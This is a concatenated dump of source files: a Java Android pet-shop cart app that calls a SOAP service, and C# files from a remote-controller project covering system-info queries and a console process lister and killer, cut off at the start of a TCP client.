ll.setOrientation(LinearLayoutManager.VERTICAL); recycler.setLayoutManager(ll); return v; } public void listarProductos(SoapObject soap) { listaCard = new ArrayList<elemento>(); for(int i = 0; i< soap.getPropertyCount(); i++) { SoapObject reg = (SoapObject)soap.getProperty(i); elemento el = new elemento(reg.getProperty(0).toString(),reg.getProperty(1).toString(), reg.getProperty(2).toString(), Double.parseDouble(reg.getProperty(4).toString()), reg.getProperty(5).toString()); listaCard.add(el); } adap = new Adaptador(listaCard, getContext()); recycler.setAdapter(adap); } } <file_sep>package com.example.administrador.petshopcarrito; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import org.ksoap2.SoapEnvelope; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import java.util.ArrayList; public class DetallePedido extends Fragment { RecyclerView recyclerPedido; RecyclerView.Adapter adapPedido; ArrayList<Pedido> listaCardPedido; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View v = inflater.inflate(R.layout.fragment_detalle_pedido, container ,false); super.onCreate(savedInstanceState); recyclerPedido =(RecyclerView)v.findViewById(R.id.recyclerPedido); recyclerPedido.setHasFixedSize(true); recyclerPedido.setLayoutManager(new LinearLayoutManager(getContext())); Thread tr= new Thread(){ @Override public void run() { Bundle datos = getActivity().getIntent().getExtras(); Integer recu_codigo = datos.getInt("variablecodigo"); String NAMESPACE = "http://tempuri.org/"; String URL= "http://webseromar.somee.com/WebServicePetShop.asmx?WSDL"; String METHOD_NAME = "ListadoPedido"; String SOAP_ACTION= "http://tempuri.org/ListadoPedido"; SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); request.addProperty("CodUsuario",recu_codigo); SoapSerializationEnvelope envelop = new SoapSerializationEnvelope(SoapEnvelope.VER11); envelop.dotNet = true ; envelop.setOutputSoapObject(request); HttpTransportSE trasporte = new HttpTransportSE(URL); try{ trasporte.call(SOAP_ACTION,envelop); final SoapObject soap= (SoapObject)envelop.getResponse(); getActivity().runOnUiThread(new Runnable() { @Override public void run() { listarPedidos(soap); } }); }catch (Exception e){ String mensaje=""; mensaje = e.getMessage().toString(); } } }; tr.start(); recyclerPedido =(RecyclerView)v.findViewById(R.id.recyclerPedido); LinearLayoutManager ll = new LinearLayoutManager(getActivity()); ll.setOrientation(LinearLayoutManager.VERTICAL); recyclerPedido.setLayoutManager(ll); return v; } public void listarPedidos(SoapObject soap) { listaCardPedido = new ArrayList<Pedido>(); for(int i = 0; i< soap.getPropertyCount(); i++) { SoapObject reg = (SoapObject)soap.getProperty(i); Pedido ped = new Pedido(reg.getProperty(4).toString(), Integer.parseInt(reg.getProperty(1).toString()), Double.parseDouble(reg.getProperty(5).toString()) ); listaCardPedido.add(ped); } adapPedido = new AdaptadorPedido(listaCardPedido, getContext()); recyclerPedido.setAdapter(adapPedido); } } <file_sep>package com.example.administrador.petshopcarrito; import android.content.Intent; import android.os.Bundle; import android.support.design.widget.TextInputLayout; import android.support.v7.app.AppCompatActivity; import android.util.Patterns; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.Toast; import org.ksoap2.SoapEnvelope; import org.ksoap2.serialization.SoapObject; import org.ksoap2.serialization.SoapSerializationEnvelope; import org.ksoap2.transport.HttpTransportSE; import java.util.regex.Pattern; public class Registro extends AppCompatActivity { EditText txtNom, txtCor, txtApe , txtCelu, txtPass; Button btnRegistrarUsu; TextInputLayout impNom, impPassword, impApe, impCelu, impCorreo; boolean cor=false, pass=false, celu=false, nomusu = false , ape=false; Boolean validaString(String texto) { return texto != null && texto.trim().length()>0; } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_registro); txtNom= (EditText)findViewById(R.id.txtNom); txtCor= (EditText)findViewById(R.id.txtCorreo); txtPass= (EditText)findViewById(R.id.txtPass); txtApe=(EditText)findViewById(R.id.txtApellido); txtCelu=(EditText)findViewById(R.id.txtcelular); impNom=(TextInputLayout)findViewById(R.id.impnom) ; impApe=(TextInputLayout)findViewById(R.id.impapellido) ; impPassword=(TextInputLayout)findViewById(R.id.imppassword) ; impCorreo=(TextInputLayout)findViewById(R.id.impcorreo) ; impCelu=(TextInputLayout)findViewById(R.id.impcelular) ; btnRegistrarUsu =(Button) findViewById(R.id.btnRegistrarUsu); btnRegistrarUsu.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if(Patterns.EMAIL_ADDRESS.matcher(txtCor.getText().toString()).matches()== false) { impCorreo.setError("Correo Invalido"); cor=false; }else { cor=true; impCorreo.setError(null); } Pattern p= Pattern.compile("[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]"); if(p.matcher(txtCelu.getText().toString()).matches()==false){ impCelu.setError("Celular Invalido, debe digitar 9 digitos"); celu=false; }else { celu=true; impCelu.setError(null); } if(validaString(txtNom.getText().toString())){ nomusu=true; impNom.setError(null); } else{ nomusu=false; impNom.setError("Nombre Invalido"); } if(validaString(txtApe.getText().toString())){ ape=true; impApe.setError(null); } else{ ape=false; impApe.setError("Apellido Invalido"); } if(validaString(txtPass.getText().toString())){ pass=true; impPassword.setError(null); } else{ pass=false; impPassword.setError("Password Invalido"); } if(cor==true && pass==true && celu==true && nomusu==true && ape==true){ Thread tr= new Thread(){ @Override public void run() { String NAMESPACE = "http://tempuri.org/"; String URl = "http://webseromar.somee.com/WebServicePetShop.asmx?WSDL"; String METHOD_NAME = "InsertarUsuario"; String SOAP_ACTION = "http://tempuri.org/InsertarUsuario"; SoapObject request = new SoapObject(NAMESPACE, METHOD_NAME); request.addProperty("nom",txtNom.getText().toString()); request.addProperty("ape",txtApe.getText().toString()); request.addProperty("celular",txtCelu.getText().toString()); request.addProperty("correo",txtCor.getText().toString()); request.addProperty("pas",txtPass.getText().toString()); SoapSerializationEnvelope envelop = new SoapSerializationEnvelope(SoapEnvelope.VER10); envelop.dotNet = true; envelop.setOutputSoapObject(request); HttpTransportSE trasporte = new HttpTransportSE(URl); try { trasporte.call(SOAP_ACTION,envelop); final SoapObject soap= (SoapObject) envelop.getResponse(); //metodo para acceder a la vista desde el hilo runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(getApplicationContext(),"Usuario Registrado", Toast.LENGTH_LONG).show(); Intent i = new Intent(Registro.this, Login.class); startActivity(i); } }); } catch (Exception e) { e.getMessage(); } } }; tr.start(); } } }); } } <file_sep>package com.example.administrador.petshopcarrito; import android.content.Context; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import java.util.ArrayList; /** * Created by Administrador on 22/04/2018. */ public class AdaptadorPedido extends RecyclerView.Adapter<AdaptadorPedido.ViewHolder> { private ArrayList<Pedido> pedido; private Context context; public AdaptadorPedido(ArrayList<Pedido> pedido, Context context) { this.pedido = pedido; this.context = context; } @Override public ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) { View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.pedido,parent,false); return new AdaptadorPedido.ViewHolder(v); } @Override public void onBindViewHolder(ViewHolder holder, int position) { Pedido lista= pedido.get(position); holder.TxtFechaPedido.setText("Fecha : " + lista.getFechaPedido()); holder.TxtCodPedido.setText("Codigo de Pedido: " + lista.getIdPedido() + ""); holder.TxtMontoPedido.setText("Monto Total: " + lista.getMontoPedido() + ""); } @Override public int getItemCount() { return pedido.size(); } public class ViewHolder extends RecyclerView.ViewHolder { TextView TxtCodPedido, TxtFechaPedido, TxtMontoPedido; public ViewHolder(View itemView) { super(itemView); TxtCodPedido = (TextView) itemView.findViewById(R.id.txtCodPedido); TxtFechaPedido = (TextView) itemView.findViewById(R.id.txtFecha); TxtMontoPedido =(TextView) itemView.findViewById(R.id.txtMontoPedido); } } } <file_sep>package com.example.administrador.petshopcarrito; /** * Created by Administrador on 25/03/2018. */ public class Usuario { private int cod; private String cor; private String pas; private String ape; private String celular; private String nom; public Usuario(int cod,String nom, String cor, String pas, String ape, String celular) { this.cod = cod; this.nom = nom; this.cor = cor; this.pas = pas; this.ape = ape; this.celular = celular; } public String getNom() { return nom; } public void setNom(String nom) { this.nom = nom; } public String getApe() { return ape; } public void setApe(String ape) { this.ape = ape; } public String getCelular() { return celular; } public void setCelular(String celular) { this.celular = celular; } public int getCod() { return cod; } public void setCod(int cod) { this.cod = cod; } public String getCor() { return cor; } public void setCor(String cor) { this.cor = cor; } public String getPas() { return pas; } public void setPas(String pas) { this.pas = pas; } } <file_sep>package com.example.administrador.petshopcarrito; import android.content.SharedPreferences; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.support.v4.app.FragmentTransaction; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import android.widget.Toast; import com.google.gson.Gson; import com.google.gson.reflect.TypeToken; import com.squareup.picasso.Picasso; import java.io.File; import java.lang.reflect.Type; import java.util.ArrayList; /** * Created by Administrador on 01/04/2018. */ public class DetalleProducto extends Fragment { ImageView imgDetalle; TextView txtDetalleDes, txtDetalleDet, txtDetallePrecio; Button btnVer, btnAgregar; String cod = "", des = "", det = "", img = ""; double pre = 0; ArrayList<elemento> cesta = new ArrayList<>(); SharedPreferences carrito; Gson gson = new Gson(); @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); Bundle mBundle = getArguments(); if(mBundle != null) { // String recuperada = mBundle.getString("str"); cod= mBundle.getString("cod"); des= mBundle.getString("des"); det= mBundle.getString("det"); pre= Double.parseDouble(mBundle.getString("pre")); img= mBundle.getString("img"); } } public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View v = inflater.inflate(R.layout.fragment_detalle, container, false); imgDetalle =(ImageView)v.findViewById(R.id.imgDetalle); txtDetalleDes= (TextView)v.findViewById(R.id.txtDetalleDescripcion); txtDetalleDet= (TextView)v.findViewById(R.id.txtDetalleDet); txtDetallePrecio = (TextView)v.findViewById(R.id.txtDetallePrecio); btnAgregar = (Button)v.findViewById(R.id.btnAgregar); btnVer = (Button)v.findViewById(R.id.btnVerCesta); txtDetalleDes.setText(des); txtDetalleDet.setText(det); txtDetallePrecio.setText("S/." + pre+""); Picasso.with(getActivity().getApplicationContext()).load("http://www.webseromar.somee.com/Imagenes/" + img).resize(600,600).into(imgDetalle); //recuperando datos File f = new File("/data/data/"+getActivity().getPackageName() + "/shared_prefs/carrito.xml"); carrito =this.getActivity().getSharedPreferences("carrito", getActivity().MODE_PRIVATE); if (f.exists()){ String guardado = carrito.getString("cesta",""); Type type= new TypeToken<ArrayList<elemento>>(){}.getType(); cesta = gson.fromJson(guardado,type); } btnAgregar.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { elemento e = new elemento(cod,des,pre,1); if(agregarProducto(e)==true) { Toast.makeText(getActivity().getApplicationContext(),"Se aumento la cantidad", Toast.LENGTH_SHORT).show(); }else { Toast.makeText(getActivity().getApplicationContext(),"Se agrego nuevo producto", Toast.LENGTH_SHORT).show(); } String listaGson = gson.toJson(cesta); carrito = getActivity().getSharedPreferences("carrito", getActivity().MODE_PRIVATE); SharedPreferences.Editor editor= carrito.edit(); editor.putString("cesta", listaGson); editor.commit(); } }); btnVer.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { File f = new File("/data/data/"+ getActivity().getPackageName()+ "/shared_prefs/carrito.xml"); if (f.exists()){ Fragment fragment = new CestaProducto(); FragmentManager FM = getActivity().getSupportFragmentManager(); FragmentTransaction FT = FM.beginTransaction(); FT.replace(R.id.contenedor,fragment); FT.addToBackStack(null); FT.commit(); } else { Toast.makeText(getActivity().getApplicationContext(),"cesta vacia", Toast.LENGTH_SHORT).show(); } } }); super.onCreate(savedInstanceState); return v; } private boolean agregarProducto(elemento e) { for(int i =0 ; i< cesta.size(); i++) { if(cesta.get(i).getCod().equals(e.getCod())){ cesta.get(i).setCan(cesta.get(i).getCan() + 1); return true ; } } cesta.add(e); return false; } }
fea86dee9b4e5c6eef6d1f1613c14fb03be5a9c9
[ "Java" ]
8
Java
chquevedo2015/petshopcarrito
ace2c70d99174278926abc3c63fecf15f9e57ef5
24679afd8501978482a07a88901eb50060a55020
refs/heads/master
<file_sep>from main.MyMongo import MyMongo from main.Person import Person from bson import ObjectId from typing import Set class GenerateTestData: @staticmethod def populatePeople(): people = MyMongo("mongodb://localhost:27017", "PySamples", "People") people.delete({}) machuga: Set[Person] = { Person("Sita", "Machuga", ObjectId('5b6f523193dda139c051a1f1')), Person("Jessica", "Machuga", ObjectId('5b6f524093dda139c051a1f2')), Person("James", "Machuga", ObjectId('5b6f524093dda139c051a1f3')), Person("Nathan", "Machuga", ObjectId('5b6f524093dda139c051a1f4')), Person("Isabella", "Machuga", ObjectId('5b6f524093dda139c051a1f5')) } index_name = "id" if index_name not in people.index_information(): people.create_index(index_name, unique=True) personIds = set(people.create(person.toDict()) for person in machuga) print("Created people: %s" % ', '.join(str(personId) for personId in personIds)) <file_sep># PySamples This is some sample code written by Fred (Sita-Rama) Machuga as part of learning Python. This is not following any tutorials, but instead: - just banging on stuff - using Google to find new python knowledge sources on the Net. As this code does nothing, the license is ... DWETFUW ... To run the demo: python demo/PeopleStorage.py or ./demo/PeopleStorage.py <file_sep>from typing import NamedTuple from bson import ObjectId class Person(NamedTuple): first: str last: str id: ObjectId = ObjectId() def __str__(self): return "%s %s" % (self.first, self.last) def toDict(self): return self._asdict() <file_sep>#!/usr/bin/env python from main.MyMongo import MyMongo from main.Person import Person from test import GenerateTestData GenerateTestData.populatePeople() people = MyMongo("mongodb://localhost:27017", "PySamples", "People") family = set(Person(**data) for data in people.getAll()) print("\nStored Records:\n\t%s" % '\n\t'.join(str(person) for person in family)) <file_sep>from typing import Any, Dict from pymongo import MongoClient class MyMongo: class __MyClient: def __init__(self, uri: str, db: str, catalog: str): client = MongoClient(uri) db = client[db] self.catalog = db[catalog] def getAll(self, filterBy: Any = None) -> dict: return self.catalog.find(filterBy, {'_id': False}) def findById(self, entityId: object) -> dict: return self.catalog.find_one({"id": entityId}, {'_id': False}) def create(self, entity: dict): return self.catalog.insert_one(entity).inserted_id def update(self, entity: dict) -> None: self.catalog.update_one({"id": entity["id"]}, entity, True) def delete(self, filterBy: Any) -> None: self.catalog.delete_many(filterBy) def index_information(self): return self.catalog.index_information() def create_index(self, index_name, unique=True): return self.catalog.create_index(index_name, unique=unique) __instances: Dict[str, __MyClient] = {} def __new__(cls, uri: str, db: str, catalog: str) -> __MyClient: params = "%s/%s.%s".format(uri, db, catalog) if params not in MyMongo.__instances.keys(): MyMongo.__instances[params] = MyMongo.__MyClient(uri, db, catalog) return MyMongo.__instances[params]
8e4a7222186690fe1301d55c4992e3af70a35701
[ "Markdown", "Python" ]
5
Python
DJMadShade/PySamples
f9b38c9a0082d3c82b44cfa473710a9394bc822d
0c68de241c1fd3fe9b938ed7ef19d425111d2250
refs/heads/master
<file_sep>#!/usr/bin/env python import os import time import subprocess import numpy as np from os import system #The benchmarks to test benchmarks = [ #Small, pure benchmarks "even-odd", "fib", "merge", "tailfib", "tak", #Small, imperative benchmarks "flat-array", "imp-for", "vector-concat", "vector-rev", #Large, pure benchmarks "knuth-bendix", "life", "pidigits", #Large, imperative benchmarks "logic", "mpuz", "ratio-regions", "smith-normal-form", ] bm_iters = 20 #compiled MLs comp_mls = { # MLton with and without intinf "mlton" : "./sml/mlton_", "mlton_intinf" : "./sml/mlton_intinf_", ## MosML compiled "mosml" : "./sml/mosml_", ## CakeML compiled "cakeml_all" : "./cakeml/all/cake_", "cakeml_noclos" : "./cakeml/noclos/cake_", "cakeml_nobvl" : "./cakeml/nobvl/cake_", "cakeml_noalloc" : "./cakeml/noalloc/cake_" #GC tests #"cakeml_gc" : "./cakeml/gc/cake_", #"cakeml_gc2" : "./cakeml/gc2/cake_", #"cakeml_gc3" : "./cakeml/gc3/cake_", } #interpreted MLs, interp_mls = { #This should be a path to PolyML without --enable-intinf-as-int "poly" : ("poly","./sml/"), ##This should be a path to PolyML with --enable-intinf-as-int "poly_intinf" : ("~/polyml2/poly","./sml/"), #Path to SMLNJ "smlnj" : ("~/sml/smlnj/bin/sml @SMLalloc=100000k","./sml/"), } #Exclude SML/NJ and MosML on the IntInf benchmarks because they either take #forever (>200s) to run, or fail to compile entirely exclude = [ ("smlnj","smith-normal-form"),("smlnj","pidigits"), ("mosml","smith-normal-form"),("mosml","pidigits"), ] def timecmd(cmd,iters,bmin=None): print("Timing " +str(cmd)) print(str(iters)+" Iterations") times = [] for i in range(0,iters): start = time.time() ret = system(cmd) end = time.time() if ret == 0: print(end-start) times.append(end-start) else: return None return times bmdict = {} for bm in benchmarks: timings = {} #Time the compiled ones for mls in comp_mls: cmd = comp_mls[mls]+bm if ((mls,bm) in exclude): timings[mls] = None else: timings[mls] = timecmd(cmd,bm_iters) #Time the interpreted ones for mls in interp_mls: if ((mls,bm) in exclude): timings[mls] = None else: (execp,path) = interp_mls[mls] cmd = execp+" < "+path+bm+".sml > /dev/null" timings[mls] = timecmd(cmd,bm_iters) bmdict[bm] = timings #Invert the mapping mls = comp_mls.keys() + interp_mls.keys() mltimes = {} for ml in mls: mltimes[ml] = {} for bm in benchmarks: tml = bmdict[bm][ml] if tml == None: mltimes[ml][bm] = None else: logtime = tml #map(np.log10,tml) meantime = np.mean(logtime) stdtime = np.std(logtime) mltimes[ml][bm] = (meantime,stdtime) #Dump to log file p2 = open('all.dat', 'w') for bm in benchmarks: times = bmdict[bm] pstr=bm+"\n" for ml in times.keys(): tml = times[ml] if tml == None: pstr+=ml+" : Failed\n" else: logtime = tml meantime = np.mean(logtime) stdtime = np.std(logtime) pstr+=ml+" : "+str(meantime)+" , "+str(stdtime)+"\n" p2.write(pstr+"\n") p2.close() #Plotting import pandas import matplotlib import matplotlib.pyplot as plt import numpy as np matplotlib.rcParams['hatch.linewidth']=0.5 rbm = benchmarks[::-1] ind = np.arange(len(rbm))*5 fs = (8,8) ind[4::]+=2 ind[7::]+=2 ind[11::]+=2 width = 1.0 #First plot will be between polyml, mlton, cakeml all with intinfs mls = ["mlton_intinf","poly_intinf","cakeml_all"] normalizer = "cakeml_all" mlnames = ["MLton (IntInf)","Poly/ML (IntInf)","CakeML"] colors = ['red','green','blue'] hatches = ['||','///','\\\\\\'] fig, ax = plt.subplots(figsize=fs) rects=[] for (mli,(ml,c,h)) in enumerate(zip(mls,colors,hatches)): bmt = [] for bm in rbm: (normavg,normstd) = mltimes[normalizer][bm] if (not(mltimes[ml].has_key(bm))): bmt += [(0.0,0.0)] else: if mltimes[ml][bm] == None: bmt += [(0.0,0.0)] else: (l,r) = mltimes[ml][bm] bmt+= [(l/normavg,r/normstd)] bmt1 = [i for (i,j) in bmt] bmt2 = [j for (i,j) in bmt] (bmt1,bmt2) rects+=[ax.barh(ind+mli*width,bmt1, width, fill=False, color=c, edgecolor=c, hatch=h)] ax.barh(ind+mli*width,bmt1, width, fill=False, color=c, edgecolor='black') plt.xscale('log') ax.set_yticks(ind+(len(mls)-1)*width/2) ax.set_yticklabels(tuple(rbm)) lgd = ax.legend(rects,mlnames, loc='upper center', ncol=len(mls), bbox_to_anchor=(0.5,1.05)) plt.tight_layout() plt.savefig('plot1noerr.svg',bbox_extra_artists=(lgd,),bbox_inches='tight') #Second plot will be between all the MLs without intinfs #Fill in solid bars for the 'intinf' ones ind = np.arange(len(rbm))*8 fs = (8,8) mls = ["smlnj","mosml","mlton","poly","cakeml_all"] has_inf = [False,False,True,True,False] inf_suffix = '_intinf' normalizer = "cakeml_all" mlnames = ["SML/NJ","Moscow ML","MLton","Poly/ML","CakeML"] colors = ['0.1','0.5','red','green','blue'] hatches = ['********','xxxxxxxx','||','///','\\\\\\'] fig, ax = plt.subplots(figsize=fs) rects=[] for (mli,(ml,hi,c,h)) in enumerate(zip(mls,has_inf,colors,hatches)): bmt = [] bmt3 = [] for bm in rbm: (normavg,normstd) = mltimes[normalizer][bm] if (not(mltimes[ml].has_key(bm))): bmt += [(0.0,0.0)] bmt3 += [0.0] else: if mltimes[ml][bm] == None: bmt += [(0.0,0.0)] bmt3 += [0.0] else: (l,r) = mltimes[ml][bm] bmt+= [(l/normavg,r/normstd)] if hi: (l,r) = mltimes[ml+inf_suffix][bm] bmt3 += [l/normavg] else: bmt3 +=[l/normavg] bmt1 = [i for (i,j) in bmt] bmt2 = [j for (i,j) in bmt] (bmt1,bmt2) sub = [j-i for (i,j) in zip(bmt1,bmt3)] rects+=[ax.barh(ind+mli*width,bmt1, width, fill=False, color=c, edgecolor=c, hatch=h)] ax.barh(ind+mli*width,sub, width, fill=True, color=c, edgecolor=c, hatch=h, left = bmt1) ax.barh(ind+mli*width,bmt3, width, fill=False, color=c, edgecolor='black') plt.xscale('log') ax.set_yticks(ind+(len(mls)-1)*width/2) ax.set_yticklabels(tuple(rbm)) lgd = ax.legend(rects,mlnames, loc='upper center', ncol=len(mls), bbox_to_anchor=(0.5,1.05)) plt.tight_layout() plt.savefig('plot2noerr.svg',bbox_extra_artists=(lgd,),bbox_inches='tight') #Third plot will be CakeML vs CakeML plots ind = np.arange(len(rbm))*6 fs = (8,8) mls = ["cakeml_noclos","cakeml_nobvl","cakeml_noalloc","cakeml_all"] mlnames = ["CO","BO","RA","All"] colors = ['0.5','red','green','blue'] hatches = ['xxxxxxxx','||','///','\\\\\\'] fig, ax = plt.subplots(figsize=fs) rects=[] for (mli,(ml,c,h)) in enumerate(zip(mls,colors,hatches)): bmt = [] for bm in rbm: (normavg,normstd) = mltimes[normalizer][bm] if (not(mltimes[ml].has_key(bm))): bmt += [(0.0,0.0)] else: if mltimes[ml][bm] == None: bmt += [(0.0,0.0)] else: (l,r) = mltimes[ml][bm] bmt+= [(l/normavg,r/normstd)] bmt1 = [i for (i,j) in bmt] bmt2 = [j for (i,j) in bmt] (bmt1,bmt2) rects+=[ax.barh(ind+mli*width,bmt1, width, fill=False, color=c, edgecolor=c, hatch=h)] ax.barh(ind+mli*width,bmt1, width, fill=False, color=c, edgecolor='black') plt.xscale('log') ax.set_yticks(ind+(len(mls)-1)*width/2) ax.set_yticklabels(tuple(rbm)) lgd = ax.legend(rects,mlnames, loc='upper center', ncol=len(mls), bbox_to_anchor=(0.5,1.05)) plt.tight_layout() plt.savefig('plot3noerr.svg',bbox_extra_artists=(lgd,),bbox_inches='tight') <file_sep>CP ?= cp CC ?= gcc SKIPGCC?=F CAKECC64 = cake CAKECC32 = cake32 CAKE_PREFIX ?= cake_ PATH_PREFIX ?= . CAKE_FLAGS ?= FLAGS ?= -g -o BMS = $(wildcard *.sml) CAKECC ?= $(CAKECC64) BM_PROGS = $(patsubst %.sml,$(CAKE_PREFIX)%,$(BMS)) ASM_PROGS = $(patsubst %.sml,%.S,$(BMS)) all: benchmarks compiler : cake.S basis_ffi.c $(CC) $< basis_ffi.c $(FLAGS) $(CAKECC64) compiler32 : cake32.S basis_ffi.c $(CC) $< basis_ffi.c $(FLAGS) $(CAKECC32) benchmarks : $(BM_PROGS) $(CAKE_PREFIX)% : %.sml ifeq ($(SKIPGCC),F) ./$(CAKECC) $(CAKE_FLAGS) < $(basename $<).sml > $(basename $<).S $(CC) $(basename $<).S basis_ffi.c $(FLAGS) $(PATH_PREFIX)/$@ else ./$(CAKECC) $(CAKE_FLAGS) < $(basename $<).sml > $(PATH_PREFIX)/$(basename $<).S endif clean: rm $(BM_PROGS) $(ASM_PROGS) <file_sep>#Build the compiler make compiler #No clos optimizations mkdir -p noclos make CAKE_PREFIX=cake_ PATH_PREFIX=./noclos CAKE_FLAGS="--multi=false --known=false --call=false --max_app=1" ##No BVL optimizations mkdir -p nobvl make CAKE_PREFIX=cake_ PATH_PREFIX=./nobvl CAKE_FLAGS="--inline_size=0 --exp_cut=10000 --split=false" #No register allocator mkdir -p noalloc make CAKE_PREFIX=cake_ PATH_PREFIX=./noalloc CAKE_FLAGS="--reg_alg=0" #All optimizations enabled mkdir -p all make CAKE_PREFIX=cake_ PATH_PREFIX=./all #GC debug enabled #mkdir -p gc #make CAKE_PREFIX=cake_ PATH_PREFIX=./gc CAKE_FLAGS="--emit_empty_ffi=true" FLAGS='-g -D"DEBUG_FFI" -o' # ##Smaller heap size for GC #mkdir -p gc2 #make CAKE_PREFIX=cake_ PATH_PREFIX=./gc2 CAKE_FLAGS="--emit_empty_ffi=true --heap_size=100" FLAGS='-g -D"DEBUG_FFI" -o' # #mkdir -p gc3 #make CAKE_PREFIX=cake_ PATH_PREFIX=./gc3 CAKE_FLAGS="--emit_empty_ffi=true --heap_size=10" FLAGS='-g -D"DEBUG_FFI" -o' #Compilation to different targets #mkdir -p arm8 #SKIPGCC=T make CAKE_PREFIX=cake_ PATH_PREFIX=./arm8 CAKE_FLAGS="--target=arm8" # #mkdir -p riscv #SKIPGCC=T make CAKE_PREFIX=cake_ PATH_PREFIX=./riscv CAKE_FLAGS="--target=riscv" # #mkdir -p mips #SKIPGCC=T make CAKE_PREFIX=cake_ PATH_PREFIX=./mips CAKE_FLAGS="--target=mips --no_jump" # ##mkdir -p x64 ##SKIPGCC=T make CAKE_PREFIX=cake_ PATH_PREFIX=./x64 CAKE_FLAGS="--target=x64" # ##For arm6, we need the 32-bit compiler #make compiler32 #mkdir -p arm6 #CAKECC=cake32 SKIPGCC=T make CAKE_PREFIX=cake_ PATH_PREFIX=./arm6 CAKE_FLAGS="--target=arm6 --heap_size=500 --stack_size=500"
ca90797e09aba7524513d6da35804f5c5e6161b2
[ "Python", "Makefile", "Shell" ]
3
Python
jonsterling/cakeml
fd873e7a674bcf0a061e10cf039df64bd908b0e9
1e3b157d00a952b5912005e2e1d1a372109cd840
refs/heads/master
<repo_name>bearzx/MyRemoteController<file_sep>/SystemInfo/SystemInfo/SystemInfo.cs using System; using System.Configuration; using System.Runtime.InteropServices;//导入API集合 using System.Management; using System.Text; public class SystemInfo { private const int CHAR_COUNT = 128; public SystemInfo() { } //声明API函数 [DllImport("kernel32")] private static extern void GetWindowsDirectory(StringBuilder WinDir, int count); //API作用获得window路径 [DllImport("kernel32")] private static extern void GetSystemDirectory(StringBuilder SysDir, int count); //获得系统目录路径 [DllImport("kernel32")] private static extern void GetSystemInfo(ref CpuInfo cpuInfo); //获得CPU相关信息 [DllImport("kernel32")] private static extern void GlobalMemoryStatus(ref MemoryInfo memInfo); //获得内存相关信息 [DllImport("kernel32")] private static extern void GetSystemTime(ref SystemTimeInfo sysInfo); //获得系统时间 // 查询CPU编号 // 利用WMI来查询cpuID public string GetCpuId() { ManagementClass mClass = new ManagementClass("Win32_Processor");//CPU处理器 ManagementObjectCollection moc = mClass.GetInstances(); string cpuId=null; foreach (ManagementObject mo in moc) { cpuId = mo.Properties["ProcessorId"].Value.ToString(); break; } return cpuId; } // 获取Windows目录 //通过调用GetWindowsDirectory函数获取 public string GetWinDirectory() { StringBuilder sBuilder = new StringBuilder(CHAR_COUNT); GetWindowsDirectory(sBuilder, CHAR_COUNT); return sBuilder.ToString(); } // 获取系统目录 //通过调用GetSystemDirectory函数来获取 public string GetSysDirectory() { StringBuilder sBuilder = new StringBuilder(CHAR_COUNT); GetSystemDirectory(sBuilder, CHAR_COUNT); return sBuilder.ToString(); } // 获取CPU信息 //调用GetSystemInfo函数来获取cpu信息 public CpuInfo GetCpuInfo() { CpuInfo cpuInfo = new CpuInfo(); GetSystemInfo(ref cpuInfo); return cpuInfo; } // 获取系统内存信息 //调用GlobalMemoryStatus来活动系统内存信息 public MemoryInfo GetMemoryInfo() { MemoryInfo memoryInfo = new MemoryInfo(); GlobalMemoryStatus(ref memoryInfo); return memoryInfo; } // 获取系统时间信息 //调用 GetSystemTime来获得系统时间 public SystemTimeInfo GetSystemTimeInfo() { SystemTimeInfo systemTimeInfo = new SystemTimeInfo(); GetSystemTime(ref systemTimeInfo); return systemTimeInfo; } // 获取系统名称 //调用Environment类来获得操作系统的平台类型、主版本号、副版本号来确定系统名称 public string GetOperationSystemInName() { OperatingSystem os = Environment.OSVersion; Version ver = System.Environment.OSVersion.Version; string osName = " "; switch (ver.Major) { case 4: switch (ver.Minor) { case 0: if (os.Platform == PlatformID.Win32NT) { osName = "Windows NT 4"; } if (os.Platform == PlatformID.Win32Windows) { osName = "Windows 95"; }break; case 90: osName = "Windows Me"; break; case 10: osName = "Windows 98"; break; } break; case 5: switch (ver.Minor) { case 0: osName = "Windws 2000"; break; case 1: osName = "Windows XP"; break; } break; case 6: switch (ver.Minor) { case 0: osName = "Windws Vista"; break; case 1: osName = "Windows 7 "; break; } break; } return String.Format("{0},{1},{2}", osName, os.Version.ToString(),os.Platform.ToString()); } } <file_sep>/TestFiles/TestProcess.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics; namespace TestProcess { class Program { static void Main(string[] args) { Console.WriteLine(Process.GetProcesses().Length); foreach (Process item in Process.GetProcesses()) { Console.WriteLine("Process {0}:\t{1}", item.Id, item.ProcessName); } string killed = Console.ReadLine(); Process toBeKilled = Process.GetProcessById(Convert.ToInt32(killed)); toBeKilled.Kill(); Console.ReadLine(); } } } <file_sep>/RemoteController/RemoteControllerSimpleClient/Client.cs using System; using System.Collections.Generic; using System.Collections; using System.Linq; using System.Threading; using System.Text; using System.Net.Sockets; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization.Formatters.Soap; using System.Diagnostics; using System.Drawing; using Libs; namespace RemoteControllerSimpleClient { class Client { static void Main(string[] args) { bool isConnected = false; TcpClient c 